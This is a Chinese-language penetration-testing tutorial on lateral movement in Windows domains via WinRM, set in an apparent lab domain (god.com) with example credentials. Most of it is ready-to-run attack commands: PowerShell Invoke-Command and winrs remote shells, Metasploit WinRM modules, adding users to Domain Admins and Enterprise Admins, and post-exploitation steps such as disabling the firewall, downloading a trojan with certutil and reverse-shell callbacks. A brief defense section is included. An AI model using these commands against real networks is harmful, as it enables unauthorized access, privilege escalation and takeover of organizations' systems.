内网渗透——WinRM横向
字数 924 2025-08-11 00:55:10
WinRM横向渗透技术详解
一、WinRM简介
WinRM(Windows Remote Management)是Microsoft对WS-Management协议的实现,是一种基于标准SOAP协议的"防火墙友好"协议,允许不同供应商的硬件和操作系统互相操作。
默认端口:
- HTTP: 5985
- HTTPS: 5986
适用环境:
- 同时适用于工作组和域环境
- Windows Server 2012及之后版本默认开启WinRM服务
二、利用条件
基本要求
- 已获取目标主机或域控的域管账户明文密码
- 目标防火墙开放5985或5986端口
环境检查命令
netstat -ano | findstr 5985
nmap -p 5985,5986 -sV 目标IP
服务配置命令(在已控制主机上)
winrm quickconfig
winrm set winrm/config/Client @{TrustedHosts="*"; AllowUnencrypted="true"}
三、实战环境示例
域环境:
- 域名:god.com
- 域控:win2012
- 账户:god\administrator
- 密码:aA123456@@@
- IP:192.168.29.176
- 域管用户:
- 账户:god\key
- 密码:qweQWE123@
- 域用户:
- 账户:god\test
- 密码:yangxu123@
- IP:192.168.29.177
四、利用方式
1. PowerShell执行
工作组环境:
Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ }
域环境:
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -command {Get-Culture}
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -ScriptBlock {Get-Culture}
Enter-PSSession -ComputerName 192.168.29.176 -Credential god\administrator
实例:
Invoke-Command -ComputerName 192.168.29.176 -Credential god\key -command {whoami}
Enter-PSSession -ComputerName 192.168.29.176 -Credential god\key
2. CMD执行
基本命令:
winrs -r:http://192.168.29.176:5985 -u:用户名 -p:密码 "ipconfig"
winrs -r:https://192.168.29.176:5986 -u:用户名 -p:密码 "ipconfig"
获取交互式shell:
winrs -r:http://192.168.29.176:5985 -u:域名\用户名 -p:密码 cmd
winrs -r:https://192.168.29.176:5986 -u:域名\用户名 -p:密码 cmd
实例:
winrs -r:http://192.168.29.176:5985 -u:key -p:qweQWE123@ "ipconfig"
winrs -r:http://192.168.29.176:5985 -u:god\key -p:qweQWE123@ cmd
3. Metasploit利用
检测WinRM认证方法:
use auxiliary/scanner/winrm/winrm_auth_methods
set domain god.com
set rhosts 192.168.29.176
exploit
验证凭据有效性:
use auxiliary/scanner/winrm/winrm_login
set domain god.com
set username key
set password qweQWE123@
set rhosts 192.168.29.176
set rport 5985
exploit
执行命令:
use auxiliary/scanner/winrm/winrm_cmd
set rhosts 192.168.29.176
set DOMAIN god.com
set USERNAME administrator
set PASSWORD aA123456@@@
set CMD ipconfig
exploit
五、获取权限后的操作
-
RDP上线:
- 开启3389端口
- 关闭防火墙
- 如3389受限,使用netsh端口转发绕过
-
无杀软环境:
- 使用certutil下载正向马执行
- CS及MSF上线
-
出网环境:
- 使用powershell反向连接
- 执行反向exe
- CS及MSF上线
六、防御手段
-
访问控制:
- 设置主机白名单,仅允许可信计算机连接WinRM服务器
-
安全配置:
- 启用Kerberos身份验证
- 启用SSL加密
- 禁用AllowUnencrypted选项
-
系统加固:
- 安装杀毒软件和WAF
- 设置强密码策略
-
网络隔离:
- 实施网络分段,限制WinRM仅在受信任网络区域运行
七、补充知识
添加域管用户命令:
net user 用户名 密码 /add /domain
net group "Domain Admins" 用户名 /add /domain
net group "Enterprise Admins" 用户名 /add /domain
查看域管用户:
net group "domain admins" /domain
密码获取方式:
- 内存导出
- 进程注入
- 密码爆破
- 漏洞利用